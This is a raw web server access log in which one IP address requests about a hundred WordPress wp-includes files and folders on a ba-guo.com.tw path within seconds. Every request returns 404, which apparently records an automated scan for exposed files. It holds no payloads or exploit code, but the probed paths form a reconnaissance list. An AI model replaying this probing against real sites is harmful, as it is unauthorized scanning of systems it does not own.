45.135.193.11 - - [11/Sep/2026:23:50:36 -0400] "GET /ba-guo.com.tw/wp-includes/update.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:36 -0400] "GET /ba-guo.com.tw/wp-includes/version.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:36 -0400] "GET /ba-guo.com.tw/wp-includes/class-http.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:36 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:36 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:37 -0400] "GET /ba-guo.com.tw/wp-includes/ms-files.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:37 -0400] "GET /ba-guo.com.tw/wp-includes/block-patterns/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:37 -0400] "GET /ba-guo.com.tw/wp-includes/Requests/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:37 -0400] "GET /ba-guo.com.tw/wp-includes/class-requests.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/https-migration.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/ms-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/general-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:38 -0400] "GET /ba-guo.com.tw/wp-includes/certificates/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/load.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/registration-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/images/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:39 -0400] "GET /ba-guo.com.tw/wp-includes/rest-api/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/embed-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/?SA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/assets/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/block-bindings/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:40 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/deprecated.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/blocks/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/SimplePie/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/block-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/block-bindings.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:41 -0400] "GET /ba-guo.com.tw/wp-includes/meta.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/rest-api.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/template-loader.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/style-engine/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:42 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/theme-previews.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/abilities.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/admin-bar.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/author-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/session.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/js/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:43 -0400] "GET /ba-guo.com.tw/wp-includes/class-feed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:44 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:44 -0400] "GET /ba-guo.com.tw/wp-includes/error-protection.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:44 -0400] "GET /ba-guo.com.tw/wp-includes/json-schema.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:44 -0400] "GET /ba-guo.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:44 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/cron.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/embed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/html-api/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/ms-network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/user.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/Text/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/atomlib.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:45 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/shortcodes.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-phpass.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/post-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/category-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/ms-site.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/script-modules.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/theme-templates.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:46 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
